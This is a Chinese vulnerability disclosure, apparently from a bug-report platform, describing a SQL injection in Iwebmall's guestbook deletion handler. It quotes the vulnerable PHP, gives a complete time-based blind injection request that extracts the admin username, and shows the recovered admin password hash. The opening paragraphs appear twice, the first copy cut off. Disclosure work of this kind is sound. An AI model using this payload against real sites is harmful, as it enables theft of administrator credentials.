### 简要描述: Iwebmall 最新版SQL注入第五枚 ### 详细说明: 看到wooyun上有人提了几个iweb的漏洞( [WooYun: iwebmall商城程序sql注入](http://www.wooyun.org/bugs/wooyun-2014-078282) , [WooYun: Iwebsns sql 第五枚。](http://www.wooyun.org/bugs/wooyun-2014-061267) ),我来捡捡漏儿吧,希望不要重复。 先把注入点拿出来:www.xxx.com/do.php?act=shop_guestbook_del ,POST的内容中有个参数favorite_shop,存在注入。 action/shop/guestbook_del.action.php ``` 无关代码 //数据库操作 dbtarget('w',$dbServs); $dbo=new dbex(); //定义文件表 $t_shop_guestbook = $tablePreStr."shop_guestbook"; // 处理post变量 if(empty($_POST)){ $gid = intval(get_args('id')); }else{ $guest=get_args('guest'); if (!$guest){ action_return(1,$m_langpackage->m_del_select,'modules.php?app=shop_guestbook'); } $gid=implode(',',$guest); } $del = del_shop_guestbook($dbo,$t_shop_guestbook,$gid,$shop_id); if($del) { action_return(1,$m_langpackage->m_del_success); } else { action_return(0,$m_langpackage->m_del_fail,'-1'); } exit; 无关代码 ``` 当通过POST方法提交$guest时,由于没有对$guest进行过滤,因此这里可以注入。Iweb没有错误回显,这里用time-based blind进行注入测试。 Payload: ``` POST...
### 简要描述: Iwebmall 最新版SQL注入第五枚 ### 详细说明: 看到wooyun上有人提了几个iweb的漏洞( [WooYun: iwebmall商城程序sql注入](http://www.wooyun.org/bugs/wooyun-2014-078282) , [WooYun: Iwebsns sql 第五枚。](http://www.wooyun.org/bugs/wooyun-2014-061267) ),我来捡捡漏儿吧,希望不要重复。 先把注入点拿出来:www.xxx.com/do.php?act=shop_guestbook_del ,POST的内容中有个参数favorite_shop,存在注入。 action/shop/guestbook_del.action.php ``` 无关代码 //数据库操作 dbtarget('w',$dbServs); $dbo=new dbex(); //定义文件表 $t_shop_guestbook = $tablePreStr."shop_guestbook"; // 处理post变量 if(empty($_POST)){ $gid = intval(get_args('id')); }else{ $guest=get_args('guest'); if (!$guest){ action_return(1,$m_langpackage->m_del_select,'modules.php?app=shop_guestbook'); } $gid=implode(',',$guest); } $del = del_shop_guestbook($dbo,$t_shop_guestbook,$gid,$shop_id); if($del) { action_return(1,$m_langpackage->m_del_success); } else { action_return(0,$m_langpackage->m_del_fail,'-1'); } exit; 无关代码 ``` 当通过POST方法提交$guest时,由于没有对$guest进行过滤,因此这里可以注入。Iweb没有错误回显,这里用time-based blind进行注入测试。 Payload: ``` POST /do.php?act=shop_guestbook_del HTTP/1.1 Accept: image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, */* Referer: http://192.168.0.107/modules.php?app=user_favorite Accept-Language: zh-CN User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; Tablet PC 2.0) Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate Host: 192.168.0.107 Content-Length: 184 Proxy-Connection: Keep-Alive Pragma: no-cache Cookie: AJSTAT_ok_times=1; PHPSESSID=c8hhcsboh7fk3c43co6ik5m796; iweb_iweb_login=pigtest guest%5B%5D=1) or (select if(mid((select admin_name from imall_admin_user where admin_id=1 limit 0,1),1,1)='z',sleep(3),0)) and (1)=(1 &deletesubmit=%E6%89%B9%E9%87%8F%E5%88%A0%E9%99%A4 ``` 测试时:登陆后访问如上的请求,抓包,按上面的payload进行修改即可。这里注意,guest的值随便写一个值,本例为1。 因为是time-based blind 注入,猜测管理员用户名的第三个字母时,若错误,延迟2s左右,如下图 [<img src="https://images.seebug.org/upload/201412/11225637106c2e7b2309e6f2eb063a9a157fd8f2.jpg" alt="猜测错误副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/11225637106c2e7b2309e6f2eb063a9a157fd8f2.jpg) 若正确,延迟5s左右,如下图 [<img src="https://images.seebug.org/upload/201412/1122565853c0605a9df218df6dda73e97f36d38c.jpg" alt="猜测正确副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/1122565853c0605a9df218df6dda73e97f36d38c.jpg) 按上面的方法依次做下去(burp intruder或者自己写个脚本跑),可测试管理员用户名为:admin,密码为: 21232f297a57a5a743894a0e4a801fc3 ### 漏洞证明: 见 详细说明